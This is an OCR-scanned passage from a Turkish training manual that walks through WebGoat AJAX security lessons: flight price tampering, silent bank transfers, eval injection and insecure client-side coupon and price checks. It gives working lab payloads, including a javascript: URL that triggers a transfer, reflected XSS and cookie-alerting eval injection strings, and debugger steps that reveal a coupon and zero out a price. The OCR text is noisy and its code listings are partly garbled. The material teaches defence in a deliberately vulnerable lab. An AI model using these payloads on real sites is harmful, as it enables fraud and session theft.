"stops™: "O", "transit” ; "MYAY, "price; "$3000,

"stops" "2, "transit" ; "Mewark, Chicago”, "price"; "$300"
I
I

Ardindan Accept Changes butonuna tiklayarak yanitin dnundeki barikati kaldirin. Pesisira
gelecek olan diger yanit popup'larina da Accept Changes deyin. Bu islemlerin akabinde ders
ekranina radio button'lara sahip iki tane bilet segcenegi yansiyacaktir.
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From: BOS
To: SEA
| |Nn of Stops |Stop5 |F'ri-:e5
® [0 s |s300
| - |2 |Newark.Chi|:agD |$3nn
Submit
[
OWASP Foundation | Project WebGeoat | Report Bug

Resimdeki gibi ucuzlattigimiz pahali bileti, yani no stop'suz(aktarmasiz) bileti secin
ve Submit butonuna tiklayin. Béylece dersi tamamlamis olursunuz.

Sonug¢

Tipki 6nceki derslerde yaptigimiz gibi sunucudan gelen yaniti kesip kodu degistirerek, yani
diger tabirle enjeksiyon yaparak ucuza ucak biletini almis olduk. Bu ve bundan dnce buna
benzeyen Orneklerde islenen temel nokta guvenlik Oonleminin istemci tarafindan
saglanamayacagi gercegidir. istemci ekranindan nesne eksiltip arttirarak erisim kisitlamasi
saglanamayacagi gibi rakam eksiltip arttirarak da fiyat guvenligi saglanamaz. Bu derste
gordugumiz tzere pahali bileti ucuza kaptirmamak igin sunucu tarafindaki web programlama
dili ile bazi kontroller saglanmalidir. Mesela eger istemci pahali bileti satin almayi seciyorsa
veritabanina kaydolacak fiyat rakami istemciden gelen rakam degil de veritabaninda hal-i
hazirda varolan, daha dnce hazirlanmig bir fiyat tablosundaki fiyat kaydi olmalidir. Boylece
glvenlik bir nebze saglanmis olur.
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DERS 17 - AJAX SECURITY > SILENT TRANSACTiONS ATTACKS

AJAX Security Unitesinin altinci dersi olan Silent Transactions Attacks(Sessiz Banka islemleri
Saldirisi) dersinde tarihin tozlu raflarina kaldirilmis olan bir bankacilik iglemi glvenlik acigini
deneyimlemis olacagiz.

Dersin Hedefi

Bu dersin size sundugu ekran para transferi yapilabilen bir internet bankaciliyi uygulamasi
ornegidir. Ekran size bakiyenizi gdstermektedir. Ayrica para transfer edeceginiz hesap igin ve
transfer edeceginiz paranin miktari icin birer metin kutusu gdstermektedir. Uygulama, metin
kutulari icindeki dedgerlerin gecerliligini sorgulamak igin bazi istemci tarafli kontroller
yapmaktadir. Bu kontrollerden sonra kullanicinin iglemi onaylamak igin bastigi Submit butonu
ile uygulama AJAX teknolojisini kullanarak islemi gerceklestirmektedir. Hedefiniz kullaniciyi
bypass etmektir, yani atlatmaktir ve sessizce hal-i hazirda kullanicinin yapacagi bankacilik
islemini kendi emelleriniz dogrultusunda c¢alistirmaktir(mesela kendi hesabiniza parayi
transfer ettirmektir).

Aciklamalar

Bu baglik altinda dersin arkaplaninda ¢alisan kodlardan bahsedilecektir. Eger javascript ya da
html bilmiyorsaniz bu basligi pas gegip direk Dersin Coéziimii basligina gecerek saldiri
yontemini WebGoat uygulamasi ile deneyimleyebilirsiniz.

Bu dersin kaynak koduna sayfa acikken sag tiklayip Kaynagi Gérintlle diyerek indiyseniz
belki de dersin kilit noktalari olan javascript fonksiyonlarini bulmussunuzdur. Bulmaniz gereken
o kodlamalar asagida verilmistir:

1 function processData () {
2 var accountNo = document.getElementById('newAccount') .value;
3 var amount = document.getElementById('amount') .value;
4
5 if ( accountNo == '"){
6 alert ('Please enter a valid account number to transfer to.');
return;
7
}
8 .
elseif ( amount == '"') {
9 alert ('Please enter a valid amount to transfer.');
10 return;
11 }
12
13 var balanceValue = document.getElementById('balanceID') .innerHTML;
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14 balanceValue = balanceValue.replace( newRegExp('S$S') , '');
15
16 if ( parseFloat (amount) > parseFloat (balanceValue) ) {
17 alert ('You can not transfer more funds than what is available in your
balance.")
18 return;
19 }
20
21 document.getElementById ('confirm') .value = 'Transferring';
22 submitData (accountNo, amount) ;
23
24 document.getElementById ('confirm') .value = 'Confirm';
75 balanceValue = parseFloat (balanceValue) - parseFloat (amount) :;
balanceValue = balanceValue.toFixed(2);
26
document.getElementById('balanceID') .innerHTML = balanceValue + '$';
27
}
28
29 . .
function submitData (accountNo, balance) {
30 var url = 'attack?Screen=68&menu=400&from=ajax&newAccount="'+ accountNo+
31 '&amount="'+ balance +'&confirm='+ document.getElementById('confirm').value;
32 if (typeof XMLHttpRequest != 'undefined') {
req = new XMLHttpRequest () ;
33
}
34 , ) ) .
else if (window.ActiveXObject) {
35 req = new ActiveXObject ('Microsoft.XMLHTTP') ;
36 }
37 req.open ('GET', url, true);
38 reg.onreadystatechange = callback;
39 reqg.send(null) ;
a0 '
41
function callback () {
42
if (reqg.readyState == 4) {
43
if (reqg.status == 200) {
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44 var result = reqg.responseText ;
45 var resultsDiv = document.getElementById('resultsDiv');

46 resultsDiv.innerHTML = '';

resultsDiv.innerHTML result;

47
48
49
50
51
52

53

Yukaridaki kodlarda bazi temel noktalardan bahsedilecektir. Fakat bazi detaylara
giriimeyecektir. Clnki bu detaylar bundan 6nceki derslerde bahsedilmistir. Yeri geldiginde
hangi derste hangi detaydan bahsedildigine deginilecektir. Yukaridaki ilk satirda yer

alan accountNo degiskeni ders ekranindaki para transfer edecegimiz kisinin hesap
numarasini yazacagimiz metin kutusunun igindeki degeri tutmaktadir. Bu metin kutusunun
html kodu ise asagidadir:

1 <input id="newAccount" type="TEXT" name="newAccount" value="">

ikinci satirdaki amount degiskeni ise ders ekranindaki transfer edilecek para miktarinin
girildigi metin kutusunun icindeki degeri tutmaktadir. Bu metin kutusunun html kodu da
asagidadir:

1 <input id="amount" type="TEXT" name="amount" value="0">

13.satirdaki balance degdigkeni ise ders ekraninda goruntilenmekte olan bakiye yazisinin
degerini tutmaktadir. Bakiye bilgisinin HTML kodu asagidadir:

1 <div id="balanceID">
2 11987.09%
3 </div>

Javascript kodlarindaki processData() fonksiyonu ders ekranindaki Submit butonuna
basildiginda tetiklenmektedir. Bu fonksiyonun yaptigi is eger metin kutulari bogsa uyari
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verdirmek(5. ve 12. satirlar arasinda), eger bakiyeden daha fazla para transferi
gerceklestiriimeye calisiimigsa yine uyari verdirmek(17. ve 20.satirlar arasinda), eger bu
kontrolleri asmigsa o zaman submitData() fonksiyonunu ¢alistirmak(23.satir) ve bdylece para
transferini gergeklestirmektir. Submit butonunun html kodlari asagidadir:

<input 1id="confirm" type="BUTTON" onclick="processData();" name="confirm"
value="Confirm">

Javascript kodundaki processData()'nin asagisinda tanimlanmis submitData() fonksiyonu
AJAX kullanarak url degiskenine eklenmis hesap numarasi ve para miktari bilgileri ile
sunucuya para transfer ettirir. submitData() ve callback() fonksiyonu icin detaya girmeye
[Gzum yoktur. Cunkd bunlar AJAX'in bir glvenlik agigindan bahsettigimiz Ders 14 - Ajax
Security - Dom Injection yazisinda zaten bahsedilmistir. Son olarak suna

deginelim: processData() fonksiyonunun 26. ve 28.satirlari para transferi sonrasi bakiyedeki
kalan para miktarini hesaplamaktadir ve ekrandaki bakiye bilgisinin gérunttlendigi yere yeni
bakiyeyi yansitmaktadir. Genel detaylariyla bu dersin arkaplaninda calisan kilit noktadaki
kodlar bu sekildedir.

Dersin Coziimii
En son jenerasyon tarayicilar adres cubugundan javascript komutu cgalistirmaya izin
vermektedirler. Ders ekranini gosteren sekmeye gelin ve adres c¢ubuguna

1 javascript:submitData (1234556, 11000);

yazin. Bdylece dersi basariyla tamamlamis olursunuz. Hatirlarsaniz submitData() fonksiyonu
bankacilik uygulamasinin kullandigi bir fonksiyondu(bkz. A¢iklamalar). submitData()'nin ilk
parametresi para transferinin yapilacagi hesap numarasini, ikinci parametresi ise transfer
edilecek para miktarini ifade etmektedir. Adres gubugundan javascript komutu galistirarak
sessiz sedasiz bir sekilde - mesela kendi hesabimiza - bir para transferi islemi gerceklestirmis
bulunmaktayiz. Sessiz sedasiz denildi, ¢linkl kullanici metin kutularini doldurmadi ve Submit
butonuna da basmadi, fakat javascript komutu ile tim bunlari yapmis gibi oldu.

Sonug¢

Javascript komutlar adres gubugundan calisabildikleri i¢in kdti niyetli bir kimse tamamen
javascript kodundan olusan bu linki eposta ile birgok kisiye gonderip birilerinin bankacilik iglemi
sayfasi acgikken bu linke tiklamasini bekleyebilir ve bdylece kendi hesabina paralari aktarabilir.
Fakat saniyorum artik tarayicilar daha glvenli oldugu icin banka sayfasinin anlayacagdi
javascript komutu bagka bir sayfada tetiklendiginde ¢alismayacaktir. Yani epostayi alan sahis
yan sekmede internet bankaciligi sayfasi agikken epostadaki linke tiklasa bile bu ise
yaramayacaktir. Sonug¢ olarak diyebilirim ki tarihin tozlu raflarina kalkmis bu givenlik agigi
guvenlik dnlemi almak adina fikir uyandirmasi agisindan kayda degerdir.
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DERS 18 - AJAX SECURITY > DANGEROUS USE OF EVAL

AJAX Security Unitesinin yedinci dersi olan Dangerous Use of Eval(Eval'in Tehlikeli
Kullanimi) dersinde bir javascript fonksiyonu olan eval()'in koéti yonde kullanimindan
bahsedilecektir.

Dersin Hedefi
Bu egzersizde goreviniz akliniza bir input dizgisi gelmesi ve bunu eval'a aktarip zararli script
calistirmaktir. Bu dersi gecebilmeniz icin document.cookie'yi alert()'lamalisiniz.

Aciklamalar

Bu derste kullanici tarafindan gelen denetlenmemis bir verinin Javascript fonksiyonu olan
eval() ile nasil tehlikeli kullanilabilecedi Dersin Coziimii baghdi altinda gdsterilecektir. Bu baslik
altinda ise Reflected(Yansitiimig) XSS atagindan ve bunun bir 6tesi olan Stored XSS
atagindan s6z edilecektir. Ayrica dersin basliginda da yer aldigi gibi eval() methodundan
ve Dersin Hedefi baghdinda belirtildigi gibi kullaniimasi istenilen document.cookie'den
bahsedilecektir. ilk olarak XSS ile baslayalim.

XSS Saldirisi

XSS diye kisaltilan ve Cross-Site Scripting diye tabir edilen "Siteler Arasi Kodlama" saldirilari
sunucudan gelen yanitlara denetlenmemis kullanici verileri dahil edildiginde meydana gelir.
Nasil m1? Nasilina gegmeden dnce XSS ataklarinin ikiye ayrildigindan s6z edelim. Bunlardan
birincisi Reflected XSS, ikincisi ise Stored XSS atagidir. Her birine birer érnek vererek nasil
XSS saldirisi gergeklestiriliyordan bahsetmis olalim.

Stored XSS Saldirisi

Bir blog sitesinin yorum ekleme bdlgesini ele alalim. Normal bir kullanici tahmin edebilecegdiniz
gibi bu bdlgeye yorum girer. Fakat art niyetli bir kullanici bu girdi kutularina javascript komutu
girmeyi dener. Eger yorum ekle kutucuklarindaki metin kutulari sunucu tarafinda
denetlenmeye tabi tutulmamigsa art niyetli kullanicinin girdigi veriler "oldugu gibi" veritabanina
kaydolur. Verinin veritabanina kaydolmasi demek bu verinin artik web sitesindeki blog
yazisinin altinda bir yorum olarak sergilenecegi anlamina gelir. Bdylece bu javascript
komutunu igeren yorum blog yazisinin asagisina temelli yerlesecektir ve sayfayi gérintileyen
herkes tarafindan goruntilenecektir. En basitinden zararsiz bir javascript komutu olan
alert("Hacked") komutunu dusunelim. Bu komut yorum olarak girilirse ve bu veri
denetlenmeden, ya da diger bir deyisle filirelenmeden veritabanina kaydolunursa blog yazisini
goOruntileyen her sahis ekraninda bir popup penceresi gorecektir ve bu pencerede "Hacked"
yazisiyla kargilagacaktir. iste bu saldiriya Stored XSS atagi denmektedir. Stored(depolanmisg)
denmesinin nedeni saldiri komutlarinin veritabanina kaydolmasini vurgulamak igindir.

Reflected XSS Saldirisi

Reflected XSS atadi ise Stored XSS ataginin biraz daha az tesirli halidir. Az tesirli dememin
nedeni Stored XSS ataginda ilgili sayfay! goérintileyen herkes saldiridan etkilenmekteyken
Reflected XSS saldirisinda ise ilgili sayfayi goruntileyen her sahistan ziyade ilgili sayfayi
"belirli bir linkten" goéruntlleyen her sahis saldindan etkilenmektedir. Séyle ki mesela
http://www.example.com adli bir blog sitemiz var olsun. Bu blog sitesindeki bir yazinin
sayfasina http://www.example.com?page ile ulasabiliyoruz diyelim. Ve fark ettik ki bu link
parametreler alabilmekte(Bunu anlayabilmek icin sayfa icinde cesitli linklere basmak yeterlidir.
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Bu linklere basildiginda kék link degismiyorsa ve sayfa icindeki bir linke basildiginda kék linke
ekstradan bir degisken ekleniyorsa bu sayfa parametre kullaniyor demektir). Ve anladik
ki var adl bir parametre kullaniliyor. Bu parametrenin aldigi degere elimizle javascript komutu
girebiliriz ve bu sekilde adres ¢ubugduna girerek enter'ladiktan sonra sunucunun nasil tepki
verdigini Olcebiliriz. EGer web programlama dili ile bu parametre kullanimi denetlemeye tabi
tutulmamigssa ve bu parametrenin aldi§i deger sayfa icinde belli bir yerde gdsteriliyorsa, yani
sayfa icinde belli bir yere "yansitiliyorsa" iste 0 zaman bu yansitilma igslemini art niyetli kimse
kendi emellerine alet edebilir. Asagida blog sayfasi linkinin var parametresine javascript
komutu girilmis son halini gérebilirsiniz:

http://fexample.com/page?var=<script>alert('hacked")</script>

Yukaridaki linke tiklayan herkes ekraninda bir popup penceresi ve bu pencerenin icerisinde
hacked yazisini gorecektir. ClUnklu hatirlayin! Parametre iceriginin sayfada belli bir yerde
gOsterilmekte oldugunu varsaymistik. Dolayisiyla eger web sitesinin sundugu parametre
degerlerini degdil de kendi degerimizi(kodumuzu) yukaridaki gibi girersek bizim girdigimiz
parametre degeri sayfada goriintiilenecektir ya da diger bir deyisle sayfaya yansitilacaktir. iste
bu saldirnya Reflected XSS atagi denir. Reflected(Yansitiimig) seklinde XSS saldirisinin
vurgulanmasinin  nedeni tahmin edebileceginiz (Uzere parametre igeriginin sayfaya
yansitiimasindan ileri gelmektedir.

XSS'e Dair Son Notlar

Her iki saldinda da sayfa normalde hack'lenmemistir. Hack'lendi sisu verilmistir. Fakat cesitli
kritik web sitelerinde 6nemli verilerin transferleri hi¢ beklenmedik bir sekilde XSS acidi ile
soémurulebilir. Bu yizden bu agiga dikkat etmek gerekir.

Buradan ¢ikarilacak ders kullanicidan gelen verilerin her daim sunucu tarafinda denetlenmeye
tabi tutulmasi gerektigidir. Denetlemeden kastim sudur: Mesela <script> gibi bir string yorum
icinde varsa o yorumu veritabanina eklememe gibi kabaca bir glivenlik énlemi alinabilir. Bu
Onlem Stored XSS ataginin 6nine gegmeye yarar. Reflected XSS igin alinacak énlem ise
parametreli sayfalarda eger parametre igerigi sayfaya yanisitiliyorsa bu igerik yine web
programlama dili ile  denetlenmeye tabi tutularak sayfaya yansitiimalidir.

eval()

Bu derste kullanilan eval() methoduna gelince, bu methoddan zaten Ders 14 - Ajax Security >
DOM lInjection dersinde bahsetmigstik. Yine de tekrar etmis olalim: Bir javascript methodu olan
eval() fonksiyonu argiman olarak aritmetik bir iglem alirsa aritmetik islemin sonucunu
dondlren, javascript komutu alirsa javascript komutunu "galistiran" bir fonksiyondur. Tanimin
su kismina dikkat edelim: " ...javascript komutu alirsa javascript komutunu "¢alistiran"... ". Yani
normalde bir sayfaya javascript komutu enjekte etmek igin ve calisir kilmak igin enjekte
edecegimiz javascript komutlarini <script> tag'inin igerisine almamiz gerekir. Aksi takdirde
tarayici kodlar ¢aligtirmaz.

<script>
1
2

//Javascript komutlari buraya girer...
3
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4 </script>

Fakat eval() verdigi imkan sayesinde <script> tag'ini enjekte edilecek koda eklemeden
sadece javascript kodunu argiiman olarak alarak c¢alistirabilmektedir. Dikkatsiz bir eval()
kullaniminda <script> yazmadan javascript kodu ¢alistirilabildiginden dolay1 XSS kodu
enjekte edecek art niyetli kisi s6z gelimi <script> yazmadigi icin web programlama dilinin
denetleme kodlarina takilmadan veritabanina kodu kaydettirebilir. Dolayisiyla eval()'i nerde,
nasil kullanacagimizi iyi élgtip bigmeliyiz. Tabi girdileri denetlemeye tabi tutmaya mutlaka
devam etmeliyiz.

document.cookie

Son olarak da bu dersin hedefinde bahsedilen document.cookie'den s6z edelim. Bu bir
javascript property'sidir(6zelligidir). islevi, kullanicinin gerezlerini tutmaktir. Cerez,
bilgisayarlarimizda depolanan kiiglk ebatl bir text dosyasindan ibaret veridir. Bu veri bizi
sunucuya tanittiran diz bir metindir. Mesela document.cookie, yani gerez su metni tutar:

username=John Doe
Ya da daha detayli olarak sunu da tutabilir:
username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 UTC

Normalde bir kullanici bir web sitesini ziyaret ettiginde ve sonra websitesinden ayrildiginda
sunucu ziyaret eden kullanici hakkinda higbir kayit tutmaz. Dolayisiyla eger ayni kullanici
daha sonra ayni web sitesine tekrar girerse web sunucusu bunun daha énce ziyaret etmis bir
kullanici oldugunu bilemez. Bu problemin Ustesinden gelebilmek icin ¢erezler
kullaniimaktadir. Cerezler sunucularin bizi hatirlamasini saglamaktadir. S6zgelimi bir web
sitesine bir kez ziyaret edildiginde kendi bilgisayarimizda bir metin dosyasi halinde bu web
sitesiyle iligkili bilgilerimiz tutulur. Eger ayni web sitesine daha sonra tekrar erisirsek web
sitesinin icerigini talep ederken, yani url'sini adres gubuguna enter'larken ayni zamanda
bilgisayarimizda yUkli olan metin belgesini de(¢erezi de) sunucuya goéndeririz. Bdylece
sunucu bizi hatirlar, tanir. document.cookie'nin bu dersle iliskisine gelecek olursak
document.cookie'nin tuttugu deger olan gerez igeriginin ekrana bir popup penceresinde
yansitilmasi istenmektedir. Tabi eval()'in aracihgiyla... Detaylari siradaki bagligin konusudur.

Dersin Coziimi

Digit access code metin kutusunun degeri arkaplanda javascript komutu eval() tarafindan
kullaniimaktadir. Dolayisiyla bu metin kutusuna dersin bizden istedigi javascript komutlarini -
alert(document.cookie) kodunu - enjekte edebiliriz.
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The total charged to
your credit card: 0.0 Update Cart

Enter your credit card
number: 4128 3214 0002 1999

Enteryourthree digit
access code: 123

Purchase

Metin kutusuna girilecek javascript komutunun bagina ve sonuna <script> tagini eklemeye
gerek yoktur, ¢clinkii metin kutusu eval() methodu ile irtibath oldugu igin <script> tag'siz
javascript kodu cahstirilabilmektedir. Enjeksiyon icin asagidaki komutu yukaridaki sari ile
vurgulanmis metin kutusuna girin:

123'");alert(document.cookie);//

Purchase butonuna bastiginiz takdirde dersi tamamlamis olursunuz. Yukarida dikkat cekmek
istedigim bir nokta var: Enter: 123 seklindeki normal, zararsiz bir veri ') ile kapatiimis. Bu
kapanis sunucu tarafinda eval() methodunu kapatmaktadir. Béylece sunucuda yeni satira
atlayip kod yazar gibi kod girisi yapabilmekteyiz. Bu yapilan isleme kisaca enjeksiyon denebilir.
Yani zararli kodun sunucudaki kod satirinin araligina sorunsuz bir sekilde, hata Uretmeyecek
bir sekilde oturtturulmasidir. Simdi sunucu tarafinda oturmus verinin ya da diger bir tabirle
enjekte olmus verinin nasil gériunduguna gosterelim:

eval('123");alert(document.cookie);/I");

Kirmizi ile vurgulanan alan enjekte olan, hata Uretmeyecek sekilde sunucudaki kod satirina
eklemlenmis olan zararli kodu géstermektedir.
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DERS 19 - AJAX SECURITY > INSECURE CLIENT STORAGE

AJAX Security Unitesinin  son dersi olan Insecure Client Storage(Emniyetsiz Istemci
Depolamasi) dersinde istemci tarafli yapilan input denetlemenin sakincasindan ve aligveris
sitelerinin siparis edilen Urlnlerin fiyatlarini istemci tarafindan alarak hesaplamasinin
sakincasindan bahsedilecektir.

Dersin Hedefi

Bu ders iki asamadan olusmaktadir. ilk asamada hedefiniz indirim saglayan bir kupon kodunu
ele gecirerek satin alma islemi yapmaktir. ikinci asamada ise hedefiniz istemci tarafli
denetleme mekanizmasinin kullanimini sdmirip(exploit edip) bir Grinu sifir Ucretle satin
almaktir.

Aciklamalar

Daha onceki derslerde de dendigi Uzere tim input noktalarini sunucu tarafinda bir
denetlemeye tabi tutmak her zaman iyi bir aligkanliktir. Denetleme mekanizmasini istemci
tarafinda kurmak demek tersine muhendislik yapmaya c¢alisanlara kargl bir agik vermek
demektir. Cunki eger denetleme mekanizmasi istemci tarafinda s6zgelimi javascript komutlari
ile yapilirsa bu denetleme mekanizmasi sayfayi gortntileyen her bir kisi tarafindan fare sag
tiki sonrasi "Sayfanin Kaynagini Goster" diyerek goruntulenebilir. Dolayisiyla kot niyetli bir
kimse bu kodlari tarayicisinin konsolundan eliyle degistirerek denetlemeyi tamamen
kaldirabilir. Bu yuzden kullanicinin eliyle mudahil olamayacagi bir tarafta denetleme
mekanizmasi kurulmahdir. O da sunucudur.

Bu ders boyunca Firefox'un bir eklentisine ihtiyacimiz olacaktir. Eklentinin adi Firebug. Bu
eklentiyi firefox tarayicisinin penceresi agikken CTRL+SHIFT+A kombinasyonuna basarak
gelen ekrandan aratip bulabilir ve indirebilirsiniz. Firebug"l kurduktan sonra calistirmak icin
yapmaniz gereken tek sey daha énceleri tarayici konsolunu a¢gmak igin kullandigimiz F12
tusuna basmaktir. Boylece artik konsolumuz Firebug olmus oldu. Firebug'in aktiflestirmemiz
gereken bir dzelligi mevcuttur. Bunun igin konsol ekranindaki Script sekmesine tiklayiniz ve
ardindan gelen araylzdeki Enable linkine tiklayiniz.

# O { > )= console HTML CSS | Script ~ | DOM Net Cookies [E[5]5]

> Script Panel is disabled
Use Firebug's toolbar button to enable/disable all panels at once. Use each panel's tab menu for individual control. S(rip@

Enable

|

Bahsedilen islemleri yaptiysaniz dersi ¢dzmek igin hazirsiniz demektir.
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Dersin Coziimii

Stage 1

Firebug'l F12 ile baslatin. Tarayicinin altinda beliren dikdortgen penceredeki Script sekmesine
tiklayin. Ardindan istemci tarafli denetleme mekanizmasini irdeleyebilmek icin agagidaki
resimde sari ile vurgulanmis sekmeye tiklayin ve clientSideValidation.js dosyasini secin. Bu
dosyayi segtik, ¢unklu ismine bakacak olursaniz zaten bizim odaklandigimiz gorevi ifade
ediyor(ClientSideValidation => istemci Tarafli Denetleme).

o LIS“ < = Conscle HTML CSS | Script * | DOM Net Cookies X script

all - attack?Screen=44&menu=400&Restart... ~ G | 4

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtm

<html xmlns="http://www.w3.0org/199%9/xhtml"=

<head=

<meta http-equiv="Content-Type" content="text/html; charset=I50-8859-1" />
=title>Insecure Client Storage</title>

=link rel="stylesheet" href="css/webgoat.css" type="text/css" />

=link
<link
=link
<script lan riptl.

<script language="JavaScriptl.2" src=

s" type="text/css" /=

ript/javascri js" type="text/javascript"s</script>
script/menu svstem.is" tvpe="text/iavascriot"s</script> R

clientSideValidation.js secildikten sonra icindeki kodlar konsola yansir. O kodlari dilerseniz
inceleyebilirsiniz. Biz dersin ¢éziUmune odaklanacadimiz i¢in sadece belirli noktasina
deginecegiz. Simdi clientSideValidation.js dosyasinin 12. satirina toggle koyun. Bunu
yapabilmek i¢in 12. satir yazisinin Uzerine bir kez tiklamaniz gerekmektedir. Boylelikle
yuvarlak, kirmizi bir simge 12. satirda belirecektir. Toggle ile biz sistemin ¢alisma akisini
durdurabilmekteyiz. Yani bu javascript dosyasi tarayicida galistirilacagi zaman tarayici
dosyayi derlemeye toggle'a kadar baslar ve sirdurur, fakat toggle'da durur, devam etmez.
Yani tumUinu derle(ye)mez. Bunu niye yaptik diye bir soru kafaniza gelmis olmali. Bunu
sunun i¢in yaptik: Toggle ile durdurdugumuz satirda var olan degiskenlerin degerlerini
yakalayabilelim, izleyebilelim diye yaptik. Toggle'l koydugumuz satirin ehemmiyetine
deginecek olursak 12. satirda ekrandan girilen kupon kodu ile sistemde depolu indirim
kuponlarinin bir kodu kiyaslanmaktadir. Biz bu satiri izleyerek bizim girdigimiz kupon kodu ile
kiyaslanan dogru kupon kodunu gdrebiliriz. izleme igini Firebug'in Watch tool'u yapmaktadir.
Bu araci konsol ekraninin sag bélmesinde gorebilirsiniz.

# ¢ { » )= console HTML CSS | Script~ | DOM Net Cookies X script ~ v BEa
all ~  dlientSidevalidation js = {} [ 4 JWaLch' Stack  Breakpoints 3

New watch expression

function isValidCoupon{coupon) { 5 window
18 coupon = coupon. tolpperCase(); o
11 for{var i=0; i<coupons.length; i++) {
® 12 decrypted = decrypt{coupons[i]): args
13 if{coupon == decrypted}{ coupons
14 ajaxFunction{coupon);
15 return true; ot

1
1 iframe
18 return false; J
1

@ om
@ ml
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Simdi ders ekranindaki "Enter your coupon code:" yazan yerin yanindaki metin kutusuna
birkag rakam girmeyi deneyin. Siz girerken clientSideValidation.js dosyasindaki
isValidCoupon() fonksiyonu tetiklenecektir. Fakat fonksiyon tamamen calismayacaktir.
Cunku toggle buna engel olacaktir. Toggle bu akisi durdurduguna gére artik Watch'a
bakmanin sirasi gelmistir. Toggle'l koydugumuz satirda dikkat ederseniz decrypted adl bir
degisken vardir. Bu degiskeni Watch'da aratalim ve degerini bularak kupon kodunu elde
edelim. Bunun i¢in asagidaki resimde sari ile vurgulanan alandaki derlemeyi strdur butonuna
tiklayin(Her ne kadar surdur desek de toggle yine engel olacaktir).

o Ll? ( 7 = Console HTML CSS v | DOM HNet Cookies X script
b all = cdientSidevalidation.js = {} isValidCoupon onkeyup "3 i
1 war coupens = ["nvojubmg”,
“emph",
"sfwmjt",
"faopsc",

"fopttfsg”,
"pxuttfsg”];

function isValidCoupon{coupon) {
18 coupon = coupon.tolpperCase();

11 for{var i=0; i<coupons.length; i++) {
© 12 decrypted = decrypt(coupons[i]);
13 if(coupon == decrypted){
14 ajaxFunction(coupon);
15 return true;
1 -

Sonra Watch bélmesindeki [+]this sekmesine tiklayin.

# ¢ { » )= console HIML css ~ | DOM MNet cCookies X script v BE&E
all » dientSideValidationjs = (} | isValidCoupon <« onkeyup » L i | watch~ | Stack Breakpoints
“faopsc”, =] New watch expression...
“fopttfsq", _
"pxuttfsq"]; =
function isvalidCoupen(coupon) { B Function
18 coupon = coupon.toUpperCase(); coupon e
11 for(var i=8; i<coupons.length; i++) { P
e 12 decrypted = decrypt(coupons(i]); arguments, ["1"]
13 if{coupon == decrypted){ ; o
1a ajaxFunction(coupon) ;
15 return true; Global Scope [Window] &

1

1
18 return false;

[+]'ya tikladiktan sonra asagi dogru agilan degiskenlerden decrypted degiskenini gérmus
olmalisiniz.
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Watch + | Stack Breakpoints 4
Mew watch expression...
= this
H 0
alpha
+ args
caesar
+ coupons
¥ dd

decrypted

decrypted degiskenine cift tiklayarak degerini gorebilirsiniz: "PLATINUM".

Kupon kodu olan PLATINUM yazisini ders ekranindaki "Enter your coupon code:" ifadesinin
yaninda yer alan metin kutusuna girip Purchase butonuna tiklayiniz. Boylelikle Asama 1'i
tamamlamis bulunmaktasiniz.

Sonug¢

Gordaldugu tzere kullanicinin girdigi kupon kodunun dogrulugunu istemci tarafinda yapmak
demek elimizle indirim kuponunu vermek gibi bi'sey demektir. Firebug gibi nadide yazilimlar
sayesinde de armut dus agzima dus gibi bir durumla karsi karsiyayiz. Bu asamadan
cikarilacak ders sudur: Kupon gibi, sifre gibi,... ¢esitli hassas verilerin dogrulugu istemci
tarafinda denetlenmemelidir. Sunucu tarafinda denetlenmelidir. Bir baska deyisle kupon,
sifre,... gibi hassas verilerin dogrulugu javascript komutlari ile denetlenmemelidir. PHP,
ASP.NET, JSF gibi web programlama dilleri ile denetlenmelidir.

Stage 2

Ders ekraninda sirali drinlerden birinin fiyatini sifirlayip o Grinu almayi deneyecegiz.
Gordugunuz Uzere fiyatlar readonly formatinda bize sunulmus. Yani tUzerinde degisiklik
yapamiyoruz. Fakat bu readonly 6zelligi sonugta kodla saglanacagi i¢in kodu manipule
ederek fiyati degistirebiliriz. Oncelikle bir tane Griiniin adedine mesela 4 sayisini girin.

TUBITAK — BILGEM — Siber Guvenlik Enstitis 115



TASNIF DISI

Web Uygulamalarini Ele Gegirme Egitimi: WEBGOAT

Shopping Cart

Shopping
Cart Items --
To Buy Now

Price

Quantity

Total

Studio FTA -

Laptop/Reading
Cart with Tilting
Surface - Cherry

$69.99

b

$279.96

Dynex -
Traditional
MNotebook Case

$27.99

$0.00

Hewlett-
Packard -
Pavilion
Notebook with
Intel®
Centrino™

$1599.99

50.00

3 -Year
Performance
Service Plan
%1000 and Over

$299.99

$0.00

Total before coupon is applied:

Total to be charged to your credit card:

Enter your credit card number:

Enter your coupon code:

$279.96
$279.96

Purchase

4128 3214 0002 1999

Sonra "Total to be charged to your credit card:" yazisinin yanindaki otomatik olarak
hesaplanan fiyata sag tiklayin ve Inspect Element(Ogeyi Denetle) ya da Inspect Element
With Firebug(Ogeyi Firebug ile Denetle) secenegine tiklayin. Agilan konsolda gérdiginiz
Uzere bir satir secili halde gelecektir.

R > Console

< div#ttwoCol

divitlessonArea

<tr></fir>
<tr>
<td>Total to be charged to your credit card:</td>

<td align="right">

@ Debugger

divitlessonContent

[# style Editor | ® Perform...

form table

T Network

tbody tr

<input type="TEXT" readonly=""

<ftd>

<ftr>

<tra</ir>
<tr><fir>
<tr></tr>

<t

r></tr>

Segili satir sag tikladigimiz fiyatin kodudur. Bu satirdaki readonly=""

cift tiklayip backspace tusu ile siliniz. readonly=""

name="GRANDTOT" style="border:0px;" value="$0.00"></input>

attribute'una(ézelligine)

attribute'unu komple sildikten sonra

enter'layiniz. Artik fiyati manipule edebilirsiniz. Fiyati degistirmek i¢in ders ekranindaki sag
tik ile kodunu degistirdiginiz fiyatin Gzerine bir kez tiklayin ve rakamlari silin. Ardindan $0.0

yapin.
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Shopping Cart

Shopping
Cart ltems -- Price Quantity Total
To Buy Now

Studio RTA -

Laptop/Reading
Cart with Tilting | 269-99
Surface - Cherry

Dynex -
Traditional £27.99 0 $0.00
Notebook Case

Hewlett-
Packard -
Pavilion
Notebook with |31599.99 0 $0.00
Intel&
Centrino™

3 -Year
Performance
Service Plan
$1000 and Over

]

$279.96

$299.99 0 $0.00

Total before coupon is applied: $5279.96
Total to be charged to your credit card: 50_00

Enter your credit card number: 4128 3214 0002 1999
Enter your coupon code: PLATINUM

Purchase

Bu islemleri yaptiginiz takdirde Purchase butonuna basarak dersin asama 2'sini de
tamamlamis olursunuz.

Sonug¢

